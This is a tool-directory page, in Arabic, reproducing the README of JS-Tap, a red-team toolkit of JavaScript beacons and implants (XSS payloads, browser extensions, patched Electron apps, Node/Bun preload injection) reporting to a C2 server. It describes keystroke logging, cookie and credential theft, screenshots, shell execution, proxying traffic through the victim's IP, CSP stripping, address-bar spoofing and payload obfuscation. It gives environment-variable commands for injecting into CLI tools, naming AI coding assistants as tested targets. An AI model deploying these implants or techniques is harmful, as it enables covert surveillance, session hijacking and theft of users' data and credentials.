Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
JS-Tap — منارات JavaScript وقنوات القيادة والتحكم (C2) تُستخدم كحمولات XSS أو أدوات زرع بعد الاستغلال على خوادم تطبيقات الويب أو برامج سطح المكتب لمراقبة المستخدمين والحفاظ على الاستمرارية. تتضمن أدوات زرع لملحقات المتصفح، وتطبيقات إلكترون، وتطبيقات Node/Bun. | Kitploit
أدوات/GitHubGitHub/hoodoer/js-tap
أدوات التصيدالاستطلاعآليات الاستمراريةاستغلال تطبيقات الويبتسريب البياناتجمع المعلوماتما بعد الاستغلالالقيادة والسيطرةالهندسة الاجتماعيةالفريق الأحمرتطوير الحمولات
47457منذ شهر واحدتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
GitHub
hoodoer/js-tap

JS-Tap

منارات JavaScript وقنوات القيادة والتحكم (C2) تُستخدم كحمولات XSS أو أدوات زرع بعد الاستغلال على خوادم تطبيقات الويب أو برامج سطح المكتب لمراقبة المستخدمين والحفاظ على الاستمرارية. تتضمن أدوات زرع لملحقات المتصفح، وتطبيقات إلكترون، وتطبيقات Node/Bun.

عرض المستودع

JS-Tap

v3.0.4

هذه الأداة مخصصة للاستخدام على الأنظمة التي لديك إذن بمهاجمتها ولأغراض قانونية وتعليمية. لا تستخدم هذه الأداة لأغراض غير قانونية، وإلا سأغضب منك بشدة.

سجل التغييرات

التغييرات الرئيسية موثقة في إعلانات المشروع:
https://github.com/hoodoer/JS-Tap/discussions/categories/announcements

العرض التوضيحي

يمكنك قراءة المقال الأصلي عن JS-Tap هنا:
https://trustedsec.com/blog/js-tap-weaponizing-javascript-for-red-teams

عرض توضيحي قصير من ShmooCon للإصدار 1 من JS-Tap:
https://youtu.be/IDLMMiqV6ss?si=XunvnVarqSIjx_x0&t=19814

عرض توضيحي للإصدار 2 من JS-Tap في HackSpaceCon، بما في ذلك C2 وكيفية استخدامه كأداة تسلل بعد الاستغلال:
https://youtu.be/aWvNLJnqObQ?t=11719

عرض توضيحي لمولد الحمولة التلقائي، يستخدم نماذج البيانات المُعترضة وحركة مرور شبكة JavaScript كنموذج لتوليد حمولات C2 مخصصة:
https://www.youtube.com/watch?v=cU915mxLfTo

عرض توضيحي في CactusCon للإصدار 2 بما في ذلك ميزة المحاكاة:
https://youtu.be/O7-zxAmP13o?si=gchYwOJksutCCUPH

عرض توضيحي للإصدار 3 من Beacons، كود تجريبي:
https://youtu.be/-esrfSHqZeo

تحذير الترقية

لا أخطط لإنشاء نصوص برمجية لترحيل قاعدة البيانات، وغالبًا ما تتضمن زيادات رقم الإصدار تغييرات في مخطط قاعدة البيانات (تحقق من سجلات التغييرات). يُفضل حذف قاعدة بيانات jsTap.db الخاصة بك عند زيادات الإصدار. إذا كان لديك حمولات مخصصة في خادم JS-Tap الخاص بك، فتأكد من تصديرها قبل حذف ملفات قاعدة البيانات.

مقدمة

JS-Tap هي مجموعة أدوات هجومية قائمة على JavaScript مخصصة لفرق الاختراق الأحمر. بدأت كحمولة JavaScript عامة لمهاجمة تطبيقات الويب عبر XSS أو كأداة تسلل بعد الاستغلال، وتطورت لتشمل إضافات المتصفح وأدوات تسلل تطبيقات سطح المكتب Electron — جميعها تبلغ إلى خادم C2 واحد.

لا تتطلب الحمولة من المستخدم المستهدف تشغيلها أن يكون موثّقًا في التطبيق الذي يتم مهاجمته، ولا تتطلب أي معرفة مسبقة بالتطبيق بخلاف إيجاد طريقة لإدخال JavaScript في التطبيق.

بدلاً من مهاجمة خادم التطبيق نفسه، تركز حمولة JS-Tap على جانب العميل من التطبيق وتقوم بمراقبة وربط كود جانب العميل بشكل مكثف. يسمح نظام C2 بإضافة حمولات JavaScript مخصصة وتشغيلها كمهام على عملاء JS-Tap، مما يوفر وسيلة لمهاجمة خادم التطبيق مباشرة. لتسهيل الانتقال السريع إلى مهاجمة الخادم، يتضمن JS-Tap الآن ميزة "المحاكاة" لتوليد حمولات مخصصة تلقائيًا وتسليمها إلى نظام C2.

مثال حمولة DOM Beacon موجود في ملف telemlib.js في دليل الحمولات، ومع ذلك يتم تقديم أي ملف في هذا الدليل دون مصادقة، لذا يمكنك تقديم حمولات متعددة بتكوينات مختلفة تستهدف تطبيقات مختلفة في نفس الوقت.

انسخ ملف telemlib.js إلى أي اسم ملف ترغب فيه وعدّل التكوين حسب الحاجة. لم يتم إخفاء هذا الملف. قبل الاستخدام في مهمة، يُوصى بشدة بتغيير أسماء نقاط النهاية، وإزالة التعليقات، وإخفاء الحمولة بشكل كبير. افتراضيًا، يستخدم التطبيق نقاط نهاية API واضحة إلى حد ما (مثل /loot/screenshot)، في إعدادات التطبيق يمكنك تشغيل إخفاء حركة المرور.

تأكد من مراجعة قسم التكوين أدناه بعناية قبل الاستخدام على خادم مكشوف للعامة.

نظرة عامة على البنية

يحتوي JS-Tap على خمسة أنواع من الإشارات/العملاء تتصل بنفس الخادم:

جميعها تبلغ إلى نفس بوابة خادم JS-Tap، حيث يتم عرض الغنائم وإصدار أوامر C2.

تتضمن البوابة أيضًا أداتين لاستنساخ الجلسات:

الأداةما تفعله
وكيل المتصفحوكيل MITM على خادم JS-Tap يقوم بتوجيه حركة HTTP/HTTPS الخاصة بالمشغل عبر متصفح الضحية (أو عملية Node.js) عبر WebSocket. يتم جلب الطلبات من سياق شبكة الضحية، بحيث يرى الموقع المستهدف عنوان IP وبصمة TLS الخاصة بالضحية. يمكن دمجه مع تذكرة جلسة للتصفح الموثّق عبر شبكة الضحية. مدعوم من BEX و Atom و V8 Beacons. راجع أدناه.

كيف تعمل معًا

  1. DOM Beacon مستقل: تعمل حمولة DOM Beacon (telemlib.js) بشكل مستقل. قم بحقنها عبر XSS أو زرعها في ملفات JS الخاصة بالهدف. تتصل بخادم JS-Tap من تلقاء نفسها.

  2. BEX Beacon كموزع: يراقب BEX Beacon التصفح ويجمع المعلومات الاستخباراتية السلبية (ملفات تعريف الارتباط، localStorage، sessionStorage، رؤوس الطلبات، التنقل). من بوابة JS-Tap، يمكنك توجيه الإشارة لحقن DOM Beacon في نطاق معين. يحصل DOM Beacon الناتج عن BEX Beacon على لقطات شاشة عالية الجودة عبر واجهة captureVisibleTab الخاصة بالإضافة (وضع "BEX-Assist").

  3. Sidecar للوصول إلى نظام التشغيل: عند تثبيته، يمنح الملف الثنائي Sidecar إشارة BEX Beacon الوصول إلى نظام التشغيل الأساسي. يتم إرسال الأوامر من بوابة JS-Tap، وتُمرر عبر القناة المشفرة للإشارة إلى الملف الثنائي الأصلي، ويتم إرسال النتائج مرة أخرى. هذا يحول إضافة المتصفح إلى موطئ قدم للوصول إلى نظام الملفات وتنفيذ الأوامر.

  4. وكيل المتصفح للتصفح المباشر: يقوم المشغل بتكوين متصفحه لاستخدام وكيل JS-Tap ويتم توجيه جميع حركة HTTP/HTTPS عبر متصفح الضحية في الوقت الفعلي. يقوم الوكيل بإنهاء TLS MITM (باستخدام CA يتم إنشاؤه تلقائيًا) حتى يتمكن المشغل من تصفح مواقع HTTPS. الوكيل هو "أنبوب غبي" — يُمرر بالضبط ما يرسله متصفح المشغل. للتصفح الموثّق، ادمج مع تذكرة جلسة: يقوم موصل JS-Tap بحقن ملفات تعريف الارتباط ورؤوس ووكيل المستخدم الخاصة بالضحية في متصفح المشغل، ويقوم وكيل MITM بتوجيهها إلى الإشارة، وتجلب الإشارة من شبكة الضحية. هذا يعطي المشغل جلسة موثّقة من عنوان IP الخاص بالضحية. تدعم إشارات BEX و Atom و V8 جميعها وضع الوكيل.

  5. Atom Beacon لتطبيقات Electron: يقوم المبرمج atomize.py بتعديل أرشيف ASAR لتطبيق Electron لحقن وكيل Atom Beacon. عند التشغيل، يسجل الوكيل مع خادم JS-Tap، ويبدأ اتصال C2 المشفر، ويحقن تلقائيًا حمولات المُعالج في كل BrowserWindow ينشئه التطبيق. يوفر وكيل العملية الرئيسية وصولًا أصليًا لنظام التشغيل (نظام الملفات، تنفيذ الأوامر) بينما تقوم حمولات المُعالج بجمع البيانات على مستوى DOM (ضغطات المفاتيح، المدخلات، النماذج، ملفات تعريف الارتباط، التخزين، استدعاءات الشبكة). نظرًا لأنه يعمل داخل العملية الرئيسية لـ Electron مع وصول كامل لـ Node.js، فإنه لا يحتاج إلى ملف ثنائي Sidecar منفصل — تصفح الملفات وقراءتها وأوامر الصدفة مدمجة.

  6. V8 Beacon لأدوات CLI: يستهدف V8 Beacon تطبيقات سطر الأوامر القائمة على Node.js و Bun. قم بتعيين متغير بيئي (NODE_OPTIONS أو ) ويتم تحميل الإشارة قبل كود التطبيق الخاص — لا حاجة لتصحيح أو تعديل التطبيق المستهدف. يقوم بتصحيح و و و لاعتراض جميع حركة الشبكة، ويربط لالتقاط ضغطات المفاتيح، ويوفر تصفح الملفات وتنفيذ الأوامر عبر قناة C2. يتم التعامل مع أدوات CLI التي تنتج عمليات فرعية (مثل Gemini CLI الذي ينتج نفسه كعملية فرعية للجلسة التفاعلية) تلقائيًا — ترث العملية الفرعية مفاتيح الجلسة من العملية الأم وتشارك نفس العميل المنطقي في البوابة. يمنع تصفية العمليات الفرعية عبر وقت التشغيل عمليات Node.js الفرعية لأدوات Bun من التسجيل كعملاء منفصلين.

البيانات التي تم جمعها

DOM Beacons

  • عنوان IP للعميل، نظام التشغيل، المتصفح
  • بصمة المتصفح (تكوين اختياري)
  • مدخلات المستخدم (بيانات الاعتماد، إلخ.)
  • عناوين URL التي تمت زيارتها
  • ملفات تعريف الارتباط (التي لا تحتوي على علامة httponly)
  • التخزين المحلي (Local Storage)
  • تخزين الجلسة (Session Storage)
  • كود HTML للصفحات التي تمت زيارتها (إذا تم تمكين الميزة)
  • لقطات شاشة للصفحات التي تمت زيارتها
  • نسخة من إرسالات النماذج
  • نسخة من استدعاءات API XHR (إذا تم تمكين ميزة monkeypatch)
    • نقطة النهاية
    • الطريقة (GET، POST، إلخ.)
    • الرؤوس المحددة
    • المصادقة الأساسية
    • رمز حالة الاستجابة
    • جسم الطلب وجسم الاستجابة
  • نسخة من استدعاءات Fetch API (إذا تم تمكين ميزة monkeypatch)
    • نقطة النهاية
    • الطريقة (GET، POST، إلخ.)
    • رمز حالة الاستجابة
    • الرؤوس المحددة
    • جسم الطلب وجسم الاستجابة
  • البيانات المسربة المخصصة
    • البيانات المرسلة مرة أخرى من الحمولات المخصصة في نظام C2

ملاحظة: القدرة على استلام نسخ من استدعاءات XHR و Fetch API تعمل في وضع المصيدة. في وضع الزرع، يمكن نسخ Fetch API فقط حاليًا. قد يتم تفويت اعتراض إرسالات النماذج أحيانًا في وضع الزرع.

BEX Beacons

  • النطاقات التي تمت زيارتها (مع الطوابع الزمنية)
  • ملفات تعريف الارتباط للنطاقات التي تمت زيارتها (بما في ذلك httpOnly عبر browser.cookies.getAll()، مع البيانات الوصفية: httpOnly، secure، sameSite، path، domain، expiration)
  • localStorage و sessionStorage
  • رؤوس الطلبات (authorization, x-api-key, cookie, set-cookie) للنطاقات المراقبة
  • يمكنها حقن DOM Beacons بناءً على الأمر (والتي تقوم بجمع كل ما سبق)

Sidecar (عبر BEX Beacon)

  • قوائم الدليل (أسماء الملفات، الأحجام، الأذونات، الطوابع الزمنية)
  • محتويات الملفات (حتى 1 ميجابايت لكل قراءة، مع دعم offset/limit)
  • مخرجات تنفيذ الأوامر (stdout, stderr, رمز الخروج)

Atom Beacon (تطبيقات Electron)

وكيل العملية الرئيسية (بيئة تشغيل Node.js):

  • جميع ملفات تعريف الارتباط من جميع النطاقات عبر واجهة session.cookies API (بما في ذلك httpOnly، مع البيانات الوصفية)
  • رؤوس الطلبات (Authorization, x-api-key, Cookie, Set-Cookie) عبر webRequest.onBeforeSendHeaders
  • رؤوس الاستجابة (Set-Cookie, WWW-Authenticate, x-csrf-token, Location) عبر webRequest.onHeadersReceived
  • لقطات شاشة لنوافذ التطبيق عبر واجهة desktopCapturer API (تلتقط الإخراج المُركّب بواسطة GPU)
  • معلومات المضيف (اسم المضيف، المنصة، البنية، اسم المستخدم، دليل المنزل)
  • قائمة النوافذ المتتبعة (عناوين URL، العناوين، حالة الحقن)
  • الوصول إلى نظام الملفات (قوائم الدليل، قراءة الملفات) — أصلي، لا حاجة لـ Sidecar
  • تنفيذ الأوامر (أوامر الصدفة مع stdout/stderr/رمز الخروج) — أصلي، لا حاجة لـ Sidecar

حمولات المُعالج (محقونة في جميع نوافذ التطبيق):

  • التقاط ضغطات المفاتيح (تسجيل المفاتيح مع سياق العنصر المستهدف، مخزّن مؤقتًا ومخفف)
  • مدخلات المستخدم (من حقول الإدخال والنصوص عبر أحداث التغيير)
  • إرسالات النماذج (الإجراء، الطريقة، جميع بيانات النموذج)
  • ملفات تعريف الارتباط (من document.cookie، متتبعة التغيير)
  • localStorage و sessionStorage (متتبعة التغيير)
  • عناوين URL التي تمت زيارتها (بما في ذلك التنقل في تطبيق الصفحة الواحدة عبر pushState/replaceState/hashchange)
  • مصدر HTML للصفحات
  • استدعاءات XHR API (الطريقة، URL، الرؤوس، جسم الطلب، جسم الاستجابة، الحالة)
  • استدعاءات Fetch API (الطريقة، URL، الرؤوس، جسم الطلب، جسم الاستجابة، الحالة)

V8 Beacon (تطبيقات سطر الأوامر Node.js / Bun)

  • اعتراض الشبكة — جميع استدعاءات HTTP و HTTPS و Fetch و HTTP/2 مع أجسام الطلب/الاستجابة الكاملة (بما في ذلك تدفق SSE)، والرؤوس، ورموز الحالة
  • التقاط ضغطات المفاتيح من process.stdin (مخزّنة مؤقتًا في سلاسل قابلة للقراءة، تُمسح كل ثانيتين أو عند الضغط على Enter)
  • لقطة لمتغيرات البيئة عند التهيئة
  • معلومات العملية (argv, cwd, pid, title, إصدار Node/Bun)
  • الوصول إلى نظام الملفات (قوائم الدليل، قراءة الملفات) — أصلي، لا حاجة لـ Sidecar
  • تنفيذ الأوامر (أوامر الصدفة مع stdout/stderr/رمز الخروج) — أصلي
  • معلومات المضيف (اسم المضيف، المنصة، البنية، اسم المستخدم، دليل المنزل)
  • فك ضغط gzip تلقائي لاستجابات API المضغوطة
  • وكيل المتصفح — توجيه حركة المشغل عبر سياق شبكة العملية

أوضاع التشغيل

تحتوي حمولة DOM Beacon على وضعي تشغيل. يتم تعيين ما إذا كان الوضع مصيدة أم زرع في دالة initGlobals()، ابحث عن متغير window.taperMode.

وضع المصيدة

وضع المصيدة هو عادة الوضع الذي ستستخدمه كحمولة XSS. غالبًا ما يكون تنفيذ حمولات XSS عابرًا، فقد يقوم المستخدم الذي يعرض الصفحة حيث تعمل حمولة JavaScript الخبيثة بإغلاق علامة تبويب المتصفح (الصفحة ليست مثيرة للاهتمام) أو الانتقال إلى مكان آخر في التطبيق. في كلتا الحالتين، سيتم حذف الحمولة من الذاكرة وستتوقف عن العمل. يحتاج JS-Tap إلى العمل لفترة طويلة وإلا لن تجمع بيانات مفيدة.

يواجه وضع المصيدة هذا من خلال إنشاء استمرارية باستخدام تقنية iFrame trap. ستنشئ حمولة JS-Tap iFrame كامل الصفحة، وستبدأ المستخدم في مكان آخر في التطبيق. يجب تكوين هذه الصفحة الابتدائية مسبقًا. في دالة initGlobals() ابحث عن متغير window.taperstartingPage واضبطه على موقع بداية مناسب في التطبيق المستهدف.

في وضع المصيدة، يراقب JS-Tap موقع المستخدم في مصيدة iframe ويقوم بانتحال شريط عنوان المتصفح ليتطابق مع موقع iframe.

لاحظ أن التطبيق المستهدف يجب أن يسمح بـ iFraming من نفس المصدر أو self إذا كان يضع رؤوس CSP أو X-Frame-Options. يمكن لمكسّرات الإطارات القائمة على JavaScript أيضًا منع عمل مصائد iframe.

ملاحظة، لقد حالفني الحظ باستخدام وضع المصيدة كأداة تسلل بعد الاستغلال في مواقع محددة جدًا من التطبيق، أو عندما لا أكون متأكدًا من الموارد التي يستخدمها التطبيق داخل القسم الموثّق من التطبيق. يمكنك وضع أداة تسلل في صفحة تسجيل الدخول، مع وضع المصيدة وصفحة البداية لـ وضع المصيدة مضبوطة على window.location.href (أي الموقع الحالي). سيتم ضبط المصيدة عندما يزور المستخدم صفحة تسجيل الدخول، ومن المأمول أن يستمر في الدخول إلى الأقسام الموثّقة من التطبيق داخل مصيدة iframe.

عادةً ما يؤدي تحديث المستخدم للصفحة إلى كسر/الهروب من مصيدة iframe.

وضع الزرع

سيستخدم وضع الزرع عادة إذا كنت تضيف الحمولة مباشرة إلى التطبيق المستهدف. ربما لديك إمكانية الوصول إلى الخادم الذي يستضيف ملفات JavaScript للتطبيق. أضف الحمولة إلى ملف JavaScript يُستخدم في جميع أنحاء التطبيق (jQuery، main.js، إلخ). أي ملف سيكون مثاليًا يعتمد حقًا على التطبيق نفسه وكيفية استخدامه لملفات JavaScript. لا يتطلب وضع الزرع تكوين صفحة بداية، ولا يستخدم تقنية مصيدة iframe.

عادةً ما يستمر المستخدم الذي يقوم بتحديث الصفحة في وضع الزرع في تشغيل حمولة JS-Tap.

من المرجح أن يعمل وضع الزرع مع التطبيقات لأنه لا يتضمن كل كود استمرارية iframe الإضافي.

BEX Beacon (إضافة المتصفح)

BEX Beacon هي نسخة إضافة متصفح من JS-Tap. تخدم غرضين رئيسيين:

  1. الاستخبارات السلبية: تراقب جميع أنشطة التصفح عبر جميع النطاقات (قابلة للتكوين عبر القائمة البيضاء)، وتلتقط ملفات تعريف الارتباط (بما في ذلك httpOnly مع البيانات الوصفية الكاملة)، وlocalStorage، وsessionStorage، ورؤوس الطلبات، وأحداث التنقل دون الحاجة إلى ثغرة XSS.
  2. الموزع النشط: يمكن تكليفها عبر بوابة JS-Tap بحقن DOM Beacon في نطاقات محددة. يتيح لك هذا تحويل إضافة متصفح بسيطة إلى وسيلة توصيل لأدوات تسلل كاملة بعد الاستغلال.

يستخدم BEX Beacon اتصالاً مشفرًا على مستوى التطبيق (AES-GCM) مع خادم JS-Tap. جميع القياس عن بعد واستجابات المهام مشفرة من طرف إلى طرف عبر نقطة نهاية واحدة، مما يجعل حركة الشبكة أصعب في البصمة.

تتضمن الإشارة أيضًا ميزات مثل إزالة رؤوس CSP/X-Frame-Options (عبر قواعد declarativeNetRequest) لتسهيل حقن JS-Tap في البيئات الصارمة. بالنسبة للأهداف التي تستخدم وسم <meta http-equiv="Content-Security-Policy"> (التي لا يمكن إزالتها عبر قواعد الرأس لأنها مضمنة في HTML)، يستخدم BEX Beacon نهج الحقن المجمّع — يتم تعبئة telemlib.js داخل الإضافة وحقنها عبر chrome.scripting.executeScript({ files })، والذي يتجاوز CSP على مستوى الصفحة بالكامل من خلال آلية حقن الإضافة المميزة للمتصفح.

عند إقرانه بمضيف التراسل الأصلي الاختياري Sidecar، يكتسب BEX Beacon وصولاً على مستوى نظام التشغيل على الجهاز المستهدف. راجع قسم Sidecar أدناه.

Atom Beacon (أداة تسلل تطبيق Electron)

Atom Beacon هي أداة تسلل لتطبيقات سطح المكتب Electron. تعمل كـ وكيل مزدوج الطبقة — وكيل عملية رئيسية مميز مع وصول كامل لبيئة تشغيل Node.js، بالإضافة إلى حمولات مُعالج يتم حقنها تلقائيًا في كل BrowserWindow ينشئه التطبيق.

على عكس مجموعة BEX Beacon + Sidecar، لا يحتاج Atom Beacon إلى ملف ثنائي أصلي منفصل للوصول إلى نظام التشغيل — عمليات نظام الملفات، وتنفيذ الأوامر، والتقاط لقطات الشاشة كلها مدمجة في وكيل العملية الرئيسية باستخدام Node.js APIs.

يستخدم Atom Beacon نفس بروتوكول الاتصال المشفر مثل BEX Beacon (تشفير AES-GCM عبر نقطة نهاية واحدة، مع تبادل المفاتيح RSA-OAEP). يسجل كنوع عميل مميز (atom-beacon) ويظهر في عرض التطبيقات إلى جانب DOM Beacons.Key capabilities:

  • Renderer injection — يتم حقن حمولات جمع البيانات تلقائياً في جميع نوافذ BrowserWindow عبر webContents.executeJavaScript()، بما في ذلك النوافذ التي يتم إنشاؤها بعد الإطلاق الأولي. تلتقط حمولات العارض ضغطات المفاتيح، والمدخلات، والنماذج، وملفات تعريف الارتباط، والتخزين، وعناوين URL، وHTML، واستدعاءات الشبكة XHR/Fetch.
  • لقطات الشاشة — تلتقط لقطات شاشة النوافذ باستخدام واجهة desktopCapturer الخاصة بـ Electron، والتي تُنتج لقطات دقيقة بكسل بما في ذلك المحتوى المركّب بواسطة GPU. تدعم التقاط يدوي (عبر واجهة البوابة)، والتقاط تلقائي قائم على الاستدلال (عند التركيز على النافذة، والتنقل، والنوافذ الجديدة)، وفترات تبريد قابلة للتكوين.
  • الوصول إلى نظام التشغيل الأصلي — استعراض الملفات، وقراءة الملفات، وتنفيذ أوامر shell مدمجة في الوكيل. تستخدم نفس واجهة البوابة مثل BEX Sidecar (علامات تبويب مستعرض الملفات وshell في لوحة الأدوات).
  • اعتراض HTTP — يلتقط رؤوس الطلبات عبر webRequest.onBeforeSendHeaders ورؤوس الاستجابات عبر webRequest.onHeadersReceived على مستوى جلسة Electron.
  • التقاط ملفات تعريف الارتباط — يقرأ جميع ملفات تعريف الارتباط (بما في ذلك httpOnly) من جلسة Electron عبر session.cookies.get().
  • وكيل المتصفح — يوجّه حركة مرور متصفح المشغل عبر سياق شبكة تطبيق Electron عبر مرحل WebSocket. انظر وكيل المتصفح.

انظر Atom Beacon (تصحيح تطبيقات Electron) أدناه للإعداد والاستخدام.

V8 Beacon (حقن تطبيقات سطر الأوامر Node.js / Bun)

V8 Beacon هو حقنة لتطبيقات سطر الأوامر القائمة على Node.js وBun. على عكس Atom Beacon الذي يتطلب تصحيح أرشيف ASAR للتطبيق، يقوم V8 Beacon بالحقن عبر متغيرات البيئة — دون تعديل التطبيق المستهدف.

بيئات التشغيل المدعومة:

  • Node.js — export NODE_OPTIONS="--require /path/to/v8-beacon.js" (مُختبر مع Gemini CLI وأدوات Node.js أخرى)
  • Bun — export BUN_OPTIONS="--preload /path/to/v8-beacon.js" (مُختبر مع Claude Code)

يستخدم الحقنة نفس بروتوكول الاتصال المشفر مثل BEX وAtom Beacons (تشفير AES-GCM عبر نقطة نهاية واحدة، مع تبادل مفاتيح RSA-OAEP). يسجّل كنوع عميل v8-beacon ويظهر في عرض العقد في البوابة.

Key capabilities:

  • اعتراض الشبكة — يقوم بتصحيح (monkey-patching) http.request وhttps.request وglobalThis.fetch وhttp2.connect لالتقاط جميع استدعاءات الشبكة الصادرة مع كامل هيئات الطلبات والاستجابات ورؤوسها ورموز الحالة. يتم التقاط استجابات البث SSE (المستخدمة من قبل واجهات برمجة تطبيقات الذكاء الاصطناعي مثل واجهة Messages الخاصة بـ Anthropic وواجهة Gemini الخاصة بـ Google) عن طريق تفريغ (teeing) تيار الاستجابة. يتم فك ضغط الاستجابات المضغوطة بـ Gzip تلقائياً.
  • التقاط ضغطات المفاتيح — يربط process.stdin على مستويات متعددة (push، emit، tty.ReadStream، readline) لالتقاط إدخالات المستخدم. تُخزّن ضغطات المفاتيح مؤقتاً في سلاسل نصية قابلة للقراءة وتُمسح كل ثانيتين (أو فوراً عند الضغط على Enter).
  • الوصول إلى نظام التشغيل الأصلي — استعراض الملفات، وقراءة الملفات، وتنفيذ أوامر shell مدمجة في الوكيل، باستخدام نفس واجهة البوابة مثل Atom Beacon وBEX Sidecar.
  • مشاركة جلسة العملية الفرعية — أدوات CLI التي تشغّل نفسها كعمليات فرعية (مثل Gemini CLI) تشارك جلسة العملية الأم تلقائياً. ترث العملية الفرعية مفاتيح التشفير عبر متغيرات البيئة وتظهر جميع الأحداث تحت عميل واحد في البوابة.
  • التصفية عبر بيئات التشغيل — عندما يقوم تطبيق Bun (مثل Claude Code) بتشغيل عمليات فرعية Node.js مساعدة، يكتشف الحقنة عدم تطابق بيئة التشغيل ويتجاوز العملية الفرعية لمنع عملاء وهميين.
  • وكيل المتصفح — يوجّه حركة مرور متصفح المشغل عبر سياق شبكة عملية Node.js/Bun عبر مرحل WebSocket. انظر وكيل المتصفح.

انظر V8 Beacon (تطبيقات Node.js / Bun CLI) أدناه للإعداد والاستخدام.

أنظمة التقاط الشاشة

يستخدم JS-Tap ثلاث طرق متميزة لالتقاط لقطات الشاشة:

1. html2canvas (قياسي)

يُستخدم افتراضياً في حقن DOM Beacon. يحاول إعادة بناء الصفحة كعنصر قماش (canvas) وتصديرها كصورة. يعمل هذا جيداً في معظم المواقع ولكنه قد يواجه صعوبات مع التطبيقات الحديثة المعقدة (مثل Reddit) أو الصور عبر أصول مختلفة (cross-origin).

2. BEX-Assist الهجين (جودة عالية)

عندما يتم إنشاء حقنة DOM Beacon بواسطة BEX Beacon، فإنها تحصل على وصول إلى واجهات برمجة التطبيقات عالية المستوى للإضافة. في هذا الوضع، تطلب الحقنة من beacon التقاط الشاشة باستخدام chrome.tabs.captureVisibleTab. ينتج عن ذلك لقطة دقيقة بكسل وعالية الجودة تتجاوز جميع قيود CSS/DOM الخاصة بـ html2canvas. هذا هو الوضع الموصى به للأهداف المعقدة.

3. Electron desktopCapturer (Atom Beacon)

يستخدم Atom Beacon واجهة desktopCapturer الخاصة بـ Electron لالتقاط لقطات شاشة النوافذ. يلتقط هذا إخراج النافذة المركّب بواسطة GPU الفعلي، مما يُنتج لقطات شاشة دقيقة بكسل لتطبيقات Electron المعقدة (Slack، VS Code، Discord، إلخ). يمكن تشغيل لقطات الشاشة يدوياً من البوابة، أو تلقائياً عبر استدلالات قابلة للتكوين (تغييرات التركيز على النافذة، أحداث التنقل، إنشاء نافذة جديدة).

التثبيت والبدء

يتطلب Python3. هناك عدد كبير من التبعيات المطلوبة لـ jsTapServer، ويُشجّع بشدة على استخدام البيئات الافتراضية Python لعزل المكتبات الخاصة بخادم البرنامج (أو أي طريقة عزل مفضلة لديك).

خادم JS-Tap

مثال:``` mkdir jsTapEnvironment python3 -m venv jsTapEnvironment source jsTapEnvironment/bin/activate cd jsTapEnvironment git clone https://github.com/hoodoer/JS-Tap cd JS-Tap pip3 install -r requirements.txt

generate a self-signed cert for the server:

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -sha256 -days 365 -nodes

run in debug/single thread mode:

python3 jsTapServer.py #or

run with gunicorn multithreaded (production use):

./jstapRun.sh

root@kitploit:~
يقوم الخادم بإنشاء كلمة مرور مشرف عشوائية تلقائيًا عند كل بدء تشغيل ويطبعها في وحدة التحكم. كما يتم حفظ بيانات الاعتماد في `adminCreds.txt` في جذر المشروع. أثناء التطوير/الاختبار، من الآمن حذف `jsTap.db` بين عمليات التشغيل — حيث يتم إعادة إنشائها تلقائيًا عند بدء التشغيل.

### البناء (البناء الموحد)

يقوم نص البناء الموحد في جذر المشروع بمعالجة كل شيء: بناء الإضافات لـ Chrome و Firefox، وتعبئتها للنشر، واختياريًا تجميع ثنائي sidecar عبر الأنظمة، وإنتاج حزم نشر ذاتية الاكتفاء يمكنك نسخها إلى الأجهزة المستهدفة.

#### المتطلبات الأساسية

- **Node.js** (لبناء إضافات WXT وتعبئة .crx)
- **Go** (1.21+) — مطلوب فقط إذا كان sidecar ممكّنًا
- **Python 3**

#### بداية سريعة

1. قم بتكوين `bex-beacon/config.json` (انظر [التكوين](#bex-beacon-configuration-configjson) أدناه).
2. قم بتثبيت تبعيات Node (فقط في المرة الأولى):```bash
cd bex-beacon && npm install && cd ..
  1. بناء كل شيء:```bash python3 buildAll.py
root@kitploit:~
يبني إصدارات Chrome MV3 وFirefox MV2، ويحزمها كملفات `.crx`/`.xpi`، ويجمع ثنائيات الـ sidecar (إذا كانت مفعلة)، وينتج حزم نشر. يقوم سكريبت البناء تلقائيًا بزيادة رقم الإصدار الفرعي للإضافة في كل بناء (مثلاً `2.1.5` → `2.1.6`) في ملف `bex-beacon/config.json` لضمان أن آليات التثبيت الإجباري في المتصفح (سياسة المؤسسة في Chrome/Edge) تلتقط التحديثات المبنية.

#### علامات البناء

| العلامة | التأثير |
|---|---|
| `--ext-only` | بناء الإضافات فقط، وتخطي الـ sidecar |
| `--sidecar-only` | بناء الـ sidecar فقط، وتخطي الإضافات |
| `--legacy` | بناء الإضافات القديمة أيضًا (من `src-chrome-extension/` و `src-firefox-extension/`) |

#### مخرجات البناء```
build/
  chrome-mv3/              # Unpacked Chrome extension (for development)
  firefox-mv2/             # Unpacked Firefox extension (for development)
  extension.crx            # Packed Chrome extension (if key.pem configured)
  extension.xpi            # Packed Firefox extension
  sidecar/                 # Sidecar binaries + manifests (when enabled)
  deploy/                  # Self-contained deploy bundles
    chrome-linux.tar.gz
    chrome-mac.tar.gz
    chrome-windows.zip
    chromium-linux.tar.gz
    chromium-mac.tar.gz
    firefox-linux.tar.gz
    firefox-mac.tar.gz
    firefox-windows.zip

Static Extension IDs

للاستخدام الإنتاجي، يجب عليك إنشاء زوج مفاتيح ثابت بحيث يكون Chrome extension ID الخاص بك ثابتًا عبر عمليات البناء. هذا مطلوب لـ sidecar's native messaging manifests لـ whitelist الامتداد الصحيح.```bash

Generate a private key (keep this safe, reuse across builds)

openssl genrsa 2048 > key.pem

Extract the public key for config.json

openssl rsa -in key.pem -pubout -outform DER | base64 -w0

root@kitploit:~
